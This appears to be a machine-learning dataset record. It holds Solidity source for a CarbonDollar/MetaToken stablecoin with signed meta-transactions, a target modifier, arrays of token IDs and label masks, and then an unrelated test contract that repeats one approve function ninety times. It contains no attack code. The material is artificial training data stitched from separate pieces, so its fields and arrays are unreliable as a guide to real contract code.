* @notice Mints CUSD on behalf of a user. Note the use of the "requiresWhitelistedToken"
* modifier; this means that minting authority does not belong to any personal account;
* only whitelisted token contracts can call this function. The intended functionality is that the only
* way to mint CUSD is for the user to actually burn a whitelisted token to convert into CUSD
* @param _to User to send CUSD to
* @param _amount Amount of CarbonUSD to mint.
*/
function mint(address _to, uint256 _amount) public requiresWhitelistedToken whenNotPaused {
_mint(_to, _amount);
}
/**
* @notice user can convert CarbonUSD umbrella token into a whitelisted stablecoin.
* @param stablecoin represents the type of coin the users wishes to receive for burning carbonUSD
* @param _amount Amount of CarbonUSD to convert.
* we credit the user's account at the sender address with the _amount minus the percentage fee we want to charge.
*/
function convertCarbonDollar(address stablecoin, uint256 _amount) public userNotBlacklisted(msg.sender) whenNotPaused {
require(isWhitelisted(stablecoin), "Stablecoin must be whitelisted prior to setting conversion fee");
WhitelistedToken whitelisted = WhitelistedToken(stablecoin);
require(whitelisted.balanceOf(address(this)) >= _amount, "Carbon escrow account in WT0 doesn't have enough tokens for burning");
// Send back WT0 to calling user, but with a fee reduction.
// Transfer this fee into the whitelisted token's CarbonDollar account (this contract's address)
uint256 chargedFee = tokenStorage_CD.computeFee(_amount, computeFeeRate(stablecoin));
uint256 feedAmount = _amount.sub(chargedFee);
_burn(msg.sender, _amount);
require(whitelisted.transfer(msg.sender, feedAmount));
whitelisted.burn(chargedFee);
_mint(address(this), chargedFee);
emit ConvertedToWT(msg.sender, _amount);
}
/**
* @notice burns CarbonDollar and an equal amount of whitelisted stablecoin from the CarbonDollar address
* @param stablecoin Represents the stablecoin whose fee will be charged.
* @param _amount Amount of CarbonUSD to burn.
*/
function burnCarbonDollar(address stablecoin, uint256 _amount) public userNotBlacklisted(msg.sender) whenNotPaused {
_burnCarbonDollar(msg.sender, stablecoin, _amount);
}
/**
* @notice release collected CUSD fees to owner
* @param _amount Amount of CUSD to release
* @return `true` if successful
*/
function releaseCarbonDollar(uint256 _amount) public onlyOwner returns (bool) {
require(_amount <= balanceOf(address(this)),"not enough balance to transfer");
tokenStorage.subBalance(address(this), _amount);
tokenStorage.addBalance(msg.sender, _amount);
emit Transfer(address(this), msg.sender, _amount);
return true;
}
/** Computes fee percentage associated with burning into a particular stablecoin.
* @param stablecoin The stablecoin whose fee will be charged. Precondition: is a whitelisted
* stablecoin.
* @return The fee that will be charged. If the stablecoin's fee is not set, the default
* fee is returned.
*/
function computeFeeRate(address stablecoin) public view returns (uint256 feeRate) {
if (getFee(stablecoin) > 0)
feeRate = getFee(stablecoin);
else
feeRate = getDefaultFee();
}
/**
* @notice Check if whitelisted token is whitelisted
* @return bool true if whitelisted, false if not
**/
function isWhitelisted(address _stablecoin) public view returns (bool) {
return tokenStorage_CD.whitelist(_stablecoin);
}
/**
* @notice Get the fee associated with going from CarbonUSD to a specific WhitelistedToken.
* @param stablecoin The stablecoin whose fee is being checked.
* @return The fee associated with the stablecoin.
*/
function getFee(address stablecoin) public view returns (uint256) {
return tokenStorage_CD.fees(stablecoin);
}
/**
* @notice Get the default fee associated with going from CarbonUSD to a specific WhitelistedToken.
* @return The default fee for stablecoin trades.
*/
function getDefaultFee() public view returns (uint256) {
return tokenStorage_CD.defaultFee();
}
function _burnCarbonDollar(address _tokensOf, address _stablecoin, uint256 _amount) internal {
require(isWhitelisted(_stablecoin), "Stablecoin must be whitelisted prior to burning");
WhitelistedToken whitelisted = WhitelistedToken(_stablecoin);
require(whitelisted.balanceOf(address(this)) >= _amount, "Carbon escrow account in WT0 doesn't have enough tokens for burning");
// Burn user's CUSD, but with a fee reduction.
uint256 chargedFee = tokenStorage_CD.computeFee(_amount, computeFeeRate(_stablecoin));
uint256 feedAmount = _amount.sub(chargedFee);
_burn(_tokensOf, _amount);
whitelisted.burn(_amount);
_mint(address(this), chargedFee);
emit BurnedCUSD(_tokensOf, feedAmount, chargedFee); // Whitelisted trust account should send user feedAmount USD
}
}
/**
* @title MetaToken
* @notice Extends the CarbonDollar token by providing functionality for users to interact with
* the permissioned token contract without needing to pay gas fees. MetaToken will perform the
* exact same actions as a normal CarbonDollar, but first it will validate a signature of the
* hash of the parameters and ecrecover() a signature to prove the signer so everything is still
* cryptographically backed. Then, instead of doing actions on behalf of msg.sender,
* it will move the signer’s tokens. Finally, we can also wrap in a token reward to incentivise the relayer.
* @notice inspiration from @austingriffith and @PhABCD for leading the meta-transaction innovations
*/
contract MetaToken is CarbonDollar {
/**
* @dev create a new CarbonDollar with a brand new data storage
**/
constructor (address _regulator) CarbonDollar(_regulator) public {
}
/**
Storage
*/
mapping (address => uint256) public replayNonce;
/**
ERC20 Metadata
*/
string public constant name = "CUSD";
string public constant symbol = "CUSD";
uint8 public constant decimals = 18;
/** Functions **/
/**
* @dev Verify and broadcast an increaseApproval() signed metatransaction. The msg.sender or "relayer"
* will pay for the ETH gas fees since they are sending this transaction, and in exchange
* the "signer" will pay CUSD to the relayer.
* @notice increaseApproval should be used instead of approve when the user's allowance
* is greater than 0. Using increaseApproval protects against potential double-spend attacks
* by moving the check of whether the user has spent their allowance to the time that the transaction
* is mined, removing the user's ability to double-spend
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
* @param _signature the metatransaction signature, which metaTransfer verifies is signed by the original transfer() sender
* @param _nonce to prevent replay attack of metatransactions
* @param _reward amount of CUSD to pay relayer in
* @return `true` if successful
*/
function metaIncreaseApproval(address _spender, uint256 _addedValue, bytes _signature, uint256 _nonce, uint256 _reward)
public userNotBlacklisted(_spender) whenNotPaused returns (bool) {
bytes32 metaHash = metaApproveHash(_spender, _addedValue, _nonce, _reward);
address signer = _getSigner(metaHash, _signature);
require(!regulator.isBlacklistedUser(signer), "signer is blacklisted");
require(_nonce == replayNonce[signer], "this transaction has already been broadcast");
replayNonce[signer]++;
require( _reward > 0, "reward to incentivize relayer must be positive");
require( _reward <= balanceOf(signer),"not enough balance to reward relayer");
_increaseApproval(_spender, _addedValue, signer);
_transfer(msg.sender, signer, _reward);
return true;
}
/**
* @notice Verify and broadcast a transfer() signed metatransaction. The msg.sender or "relayer"
* will pay for the ETH gas fees since they are sending this transaction, and in exchange
* the "signer" will pay CUSD to the relayer.
* @param _to The address of the receiver. This user must not be blacklisted, or else the transfer
* will fail.
* @param _amount The number of tokens to transfer
* @param _signature the metatransaction signature, which metaTransfer verifies is signed by the original transfer() sender
* @param _nonce to prevent replay attack of metatransactions
* @param _reward amount of CUSD to pay relayer in
* @return `true` if successful
*/
function metaTransfer(address _to, uint256 _amount, bytes _signature, uint256 _nonce, uint256 _reward) public userNotBlacklisted(_to) whenNotPaused returns (bool) {
bytes32 metaHash = metaTransferHash(_to, _amount, _nonce, _reward);
address signer = _getSigner(metaHash, _signature);
require(!regulator.isBlacklistedUser(signer), "signer is blacklisted");
require(_nonce == replayNonce[signer], "this transaction has already been broadcast");
replayNonce[signer]++;
require( _reward > 0, "reward to incentivize relayer must be positive");
require( (_amount + _reward) <= balanceOf(signer),"not enough balance to transfer and reward relayer");
_transfer(_to, signer, _amount);
_transfer(msg.sender, signer, _reward);
return true;
}
/**
* @notice Verify and broadcast a burnCarbonDollar() signed metatransaction. The msg.sender or "relayer"
* will pay for the ETH gas fees since they are sending this transaction, and in exchange
* the "signer" will pay CUSD to the relayer.
* @param _stablecoin Represents the stablecoin that is backing the active CUSD.
* @param _amount The number of tokens to transfer
* @param _signature the metatransaction signature, which metaTransfer verifies is signed by the original transfer() sender
* @param _nonce to prevent replay attack of metatransactions
* @param _reward amount of CUSD to pay relayer in
* @return `true` if successful
*/
function metaBurnCarbonDollar(address _stablecoin, uint256 _amount, bytes _signature, uint256 _nonce, uint256 _reward) public whenNotPaused returns (bool) {
bytes32 metaHash = metaBurnHash(_stablecoin, _amount, _nonce, _reward);
address signer = _getSigner(metaHash, _signature);
require(!regulator.isBlacklistedUser(signer), "signer is blacklisted");
require(_nonce == replayNonce[signer], "this transaction has already been broadcast");
replayNonce[signer]++;
require( _reward > 0, "reward to incentivize relayer must be positive");
require( (_amount + _reward) <= balanceOf(signer),"not enough balance to burn and reward relayer");
_burnCarbonDollar(signer, _stablecoin, _amount);
_transfer(msg.sender, signer, _reward);
return true;
}
/**
* @notice Return hash containing all of the information about the transfer() metatransaction
* @param _to The address of the transfer receiver
* @param _amount The number of tokens to transfer
* @param _nonce to prevent replay attack of metatransactions
* @param _reward amount of CUSD to pay relayer in
* @return bytes32 hash of metatransaction
*/
function metaTransferHash(address _to, uint256 _amount, uint256 _nonce, uint256 _reward) public view returns(bytes32){
return keccak256(abi.encodePacked(address(this),"metaTransfer", _to, _amount, _nonce, _reward));
}
/**
* @notice Return hash containing all of the information about the increaseApproval() metatransaction
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
* @param _nonce to prevent replay attack of metatransactions
* @param _reward amount of CUSD to pay relayer in
* @return bytes32 hash of metatransaction
*/
function metaApproveHash(address _spender, uint256 _addedValue, uint256 _nonce, uint256 _reward) public view returns(bytes32){
return keccak256(abi.encodePacked(address(this),"metaIncreaseApproval", _spender, _addedValue, _nonce, _reward));
}
/**
* @notice Return hash containing all of the information about the burnCarbonDollar() metatransaction
* @param _stablecoin Represents the stablecoin that is backing the active CUSD.
* @param _amount The number of tokens to burn
* @param _nonce to prevent replay attack of metatransactions
* @param _reward amount of CUSD to pay relayer in
* @return bytes32 hash of metatransaction
*/
function metaBurnHash(address _stablecoin, uint256 _amount, uint256 _nonce, uint256 _reward) public view returns(bytes32){
return keccak256(abi.encodePacked(address(this),"metaBurnCarbonDollar", _stablecoin, _amount, _nonce, _reward));
}
/**
* @dev Recover signer of original metatransaction
* @param _hash derived bytes32 metatransaction signature, which should be the same as the parameter _signature
* @param _signature bytes metatransaction signature, the signature is generated using web3.eth.sign()
* @return address of hash signer
*/
function _getSigner(bytes32 _hash, bytes _signature) internal pure returns (address){
bytes32 r;
bytes32 s;
uint8 v;
if (_signature.length != 65) {
return address(0);
}
assembly {
r := mload(add(_signature, 32))
s := mload(add(_signature, 64))
v := byte(0, mload(add(_signature, 96)))
}
if (v < 27) {
v += 27;
}
if (v != 27 && v != 28) {
return address(0);
} else {
return ecrecover(keccak256(
abi.encodePacked("\x19Ethereum Signed Message:\n32", _hash)
), v, r, s);
}
}
} | /* @notice Throws if called by any account that does not have access to set attributes/ | modifier onlyValidator() {
require (isValidator(msg.sender), "Sender must be validator");
_;
}
| 1,020,232 | [
1,
19,
225,
22435,
309,
2566,
635,
1281,
2236,
716,
1552,
486,
1240,
2006,
358,
444,
1677,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
9606,
1338,
5126,
1435,
288,
203,
3639,
2583,
261,
291,
5126,
12,
3576,
18,
15330,
3631,
315,
12021,
1297,
506,
4213,
8863,
203,
3639,
389,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
// to test issue with nodes breaking with large clients over WS
// fixed in web3 with fragmentationThreshold: 8192
pragma solidity ^0.4.17;
contract BigFreakingContract {
event Transfer(address indexed from, address indexed to, uint value);
event Approval( address indexed owner, address indexed spender, uint value);
mapping( address => uint ) _balances;
mapping( address => mapping( address => uint ) ) _approvals;
uint public _supply;
constructor( uint initial_balance ) public {
_balances[msg.sender] = initial_balance;
_supply = initial_balance;
}
function totalSupply() public constant returns (uint supply) {
return _supply;
}
function balanceOf( address who ) public constant returns (uint value) {
return _balances[who];
}
function transfer( address to, uint value) public returns (bool ok) {
if( _balances[msg.sender] < value ) {
revert();
}
if( !safeToAdd(_balances[to], value) ) {
revert();
}
_balances[msg.sender] -= value;
_balances[to] += value;
emit Transfer( msg.sender, to, value );
return true;
}
function transferFrom( address from, address to, uint value) public returns (bool ok) {
// if you don't have enough balance, throw
if( _balances[from] < value ) {
revert();
}
// if you don't have approval, throw
if( _approvals[from][msg.sender] < value ) {
revert();
}
if( !safeToAdd(_balances[to], value) ) {
revert();
}
// transfer and return true
_approvals[from][msg.sender] -= value;
_balances[from] -= value;
_balances[to] += value;
emit Transfer( from, to, value );
return true;
}
function approve(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function allowance(address owner, address spender) public constant returns (uint _allowance) {
return _approvals[owner][spender];
}
function safeToAdd(uint a, uint b) internal pure returns (bool) {
return (a + b >= a);
}
function isAvailable() public pure returns (bool) {
return false;
}
function approve_1(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_2(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_3(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_4(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_5(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_6(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_7(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_8(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_9(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_10(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_11(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_12(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_13(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_14(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_15(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_16(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_17(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_18(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_19(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_20(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_21(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_22(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_23(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_24(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_25(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_26(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_27(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_28(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_29(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_30(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_31(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_32(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_33(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_34(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_35(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_36(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_37(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_38(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_39(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_40(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_41(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_42(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_43(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_44(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_45(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_46(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_47(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_48(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_49(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_50(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_51(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_52(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_53(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_54(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_55(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_56(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_57(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_58(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_59(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_60(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_61(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_62(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_63(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_64(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_65(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_66(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_67(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_68(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_69(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_70(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_71(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_72(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_73(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_74(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_75(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_76(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_77(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_78(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_79(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_80(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_81(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_82(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_83(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_84(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_85(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_86(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_87(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_88(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_89(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_90(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
